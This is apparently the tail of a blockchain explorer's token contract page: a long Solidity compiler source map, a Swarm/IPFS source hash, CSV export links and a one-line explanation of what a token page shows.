:16;;;;;;:36;;5898:7;;5870:23;;5891:1;5870:20;:23::i;:::-;:27;;:36::i;:::-;-1:-1:-1;;;;;5851:16:0;;;;;;:9;:16;;;;;:55;5789:129;5940:36;5950:5;5957:9;5968:7;5940:9;:36::i;3430:230::-;3345:6;;-1:-1:-1;;;;;3345:6:0;1054:10;3345:22;3337:67;;;;-1:-1:-1;;;3337:67:0;;;;;;;:::i;:::-;3521:6:::1;::::0;;3500:81:::1;::::0;3537:42:::1;::::0;-1:-1:-1;;;;;3521:6:0;;::::1;::::0;3500:81:::1;::::0;::::1;3592:6;:60:::0;;-1:-1:-1;;;;;;3592:60:0::1;3609:42;3592:60;::::0;;3430:230::o;7724:346::-;-1:-1:-1;;;;;7826:19:0;;7818:68;;;;-1:-1:-1;;;7818:68:0;;4470:2:1;7818:68:0;;;4452:21:1;4509:2;4489:18;;;4482:30;4548:34;4528:18;;;4521:62;-1:-1:-1;;;4599:18:1;;;4592:34;4643:19;;7818:68:0;4268:400:1;7818:68:0;-1:-1:-1;;;;;7905:21:0;;7897:68;;;;-1:-1:-1;;;7897:68:0;;4875:2:1;7897:68:0;;;4857:21:1;4914:2;4894:18;;;4887:30;4953:34;4933:18;;;4926:62;-1:-1:-1;;;5004:18:1;;;4997:32;5046:19;;7897:68:0;4673:398:1;7897:68:0;-1:-1:-1;;;;;7978:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8030:32;;1342:25:1;;;8030:32:0;;1315:18:1;8030:32:0;;;;;;;7724:346;;;:::o;6661:1055::-;-1:-1:-1;;;;;6770:20:0;;6762:71;;;;-1:-1:-1;;;6762:71:0;;5278:2:1;6762:71:0;;;5260:21:1;5317:2;5297:18;;;5290:30;5356:34;5336:18;;;5329:62;-1:-1:-1;;;5407:18:1;;;5400:36;5453:19;;6762:71:0;5076:402:1;6762:71:0;-1:-1:-1;;;;;6852:23:0;;6844:72;;;;-1:-1:-1;;;6844:72:0;;5685:2:1;6844:72:0;;;5667:21:1;5724:2;5704:18;;;5697:30;5763:34;5743:18;;;5736:62;-1:-1:-1;;;5814:18:1;;;5807:34;5858:19;;6844:72:0;5483:400:1;6844:72:0;-1:-1:-1;;;;;6969:29:0;;6929:17;6969:29;;;:21;:29;;;;;;:33;6965:414;;-1:-1:-1;;;;;7043:29:0;;;;;;:21;:29;;;;;;7031:51;;7078:3;;7031:42;;:7;;:11;:42::i;:::-;:46;;:51::i;:::-;7019:63;;6965:414;;;7114:13;;-1:-1:-1;;;;;7114:13:0;;;7104:23;;;;7100:279;;7156:29;7181:3;7156:20;7168:7;;7156;:11;;:20;;;;:::i;7100:279::-;7220:13;;-1:-1:-1;;;;;7220:13:0;;;7207:26;;;;7203:176;;7262:30;7288:3;7262:21;7274:8;;7262:7;:11;;:21;;;;:::i;7203:176::-;7337:30;7363:3;7337:21;7349:8;;7337:7;:11;;:21;;;;:::i;:30::-;7325:42;;7203:176;-1:-1:-1;;;;;7411:17:0;;;;;;:9;:17;;;;;;:30;;7433:7;7411:21;:30::i;:::-;-1:-1:-1;;;;;7391:17:0;;;;;;;:9;:17;;;;;;:50;;;;7476:20;;;;;;;7505:9;;7476:28;;7497:7;;7476:28;:::i;:::-;:38;;;;:::i;:::-;-1:-1:-1;;;;;7452:20:0;;;;;;;:9;:20;;;;;;:62;;;;7561:12;;;;;7551:23;;;;:38;;7579:9;7551:27;:38::i;:::-;7535:12;;;-1:-1:-1;;;;;7535:12:0;;;7525:23;;;;:9;:23;;;;;;;;;:64;;;;7622:12;;7605:41;;1342:25:1;;;7622:12:0;;;;7605:41;;;;;;1315:18:1;7605:41:0;;;;;;;-1:-1:-1;;;;;7662:46:0;;;;;;;7690:17;7698:9;7690:7;:17;:::i;:::-;7662:46;;1342:25:1;;;1330:2;1315:18;7662:46:0;;;;;;;6749:967;6661:1055;;;:::o;1680:226::-;1800:7;1836:12;1828:6;;;;1820:29;;;;-1:-1:-1;;;1820:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1860:9:0;1872:5;1876:1;1872;:5;:::i;:::-;1860:17;1680:226;-1:-1:-1;;;;;1680:226:0:o;1914:252::-;1972:7;1998:1;2003;1998:6;1994:47;;-1:-1:-1;2028:1:0;2021:8;;1994:47;2053:9;2065:5;2069:1;2065;:5;:::i;:::-;2053:17;-1:-1:-1;2098:1:0;2089:5;2093:1;2053:17;2089:5;:::i;:::-;:10;2081:56;;;;-1:-1:-1;;;2081:56:0;;6880:2:1;2081:56:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:31;7050:19;;2081:56:0;6678:397:1;2081:56:0;2157:1;1914:252;-1:-1:-1;;;1914:252:0:o;1347:181::-;1405:7;;1437:5;1441:1;1437;:5;:::i;:::-;1425:17;;1466:1;1461;:6;;1453:46;;;;-1:-1:-1;;;1453:46:0;;7282:2:1;1453:46:0;;;7264:21:1;7321:2;7301:18;;;7294:30;7360:29;7340:18;;;7333:57;7407:18;;1453:46:0;7080:351:1;2174:132:0;2232:7;2259:39;2263:1;2266;2259:39;;;;;;;;;;;;;;;;;:3;:39::i;1536:136::-;1594:7;1621:43;1625:1;1628;1621:43;;;;;;;;;;;;;;;;;:3;:43::i;2314:227::-;2434:7;2469:12;2462:5;2454:28;;;;-1:-1:-1;;;2454:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2493:9:0;2505:5;2509:1;2505;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2484:260::-;2552:6;2560;2613:2;2601:9;2592:7;2588:23;2584:32;2581:52;;;2629:1;2626;2619:12;2581:52;2652:29;2671:9;2652:29;:::i;:::-;2642:39;;2700:38;2734:2;2723:9;2719:18;2700:38;:::i;:::-;2690:48;;2484:260;;;;;:::o;2749:380::-;2828:1;2824:12;;;;2871;;;2892:61;;2946:4;2938:6;2934:17;2924:27;;2892:61;2999:2;2991:6;2988:14;2968:18;2965:38;2962:161;;3045:10;3040:3;3036:20;3033:1;3026:31;3080:4;3077:1;3070:15;3108:4;3105:1;3098:15;2962:161;;2749:380;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;5888:127::-;5949:10;5944:3;5940:20;5937:1;5930:31;5980:4;5977:1;5970:15;6004:4;6001:1;5994:15;6020:125;6085:9;;;6106:10;;;6103:36;;;6119:18;;:::i;6150:128::-;6217:9;;;6238:11;;;6235:37;;;6252:18;;:::i;6283:168::-;6356:9;;;6387;;6404:15;;;6398:22;;6384:37;6374:71;;6425:18;;:::i;6456:217::-;6496:1;6522;6512:132;;6566:10;6561:3;6557:20;6554:1;6547:31;6601:4;6598:1;6591:15;6629:4;6626:1;6619:15;6512:132;-1:-1:-1;6658:9:1;;6456:217::o
Swarm Source
ipfs://4ce922b381dd5d10c3b444815345c69b6c9750b85022ef7e3299dc520902e767
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.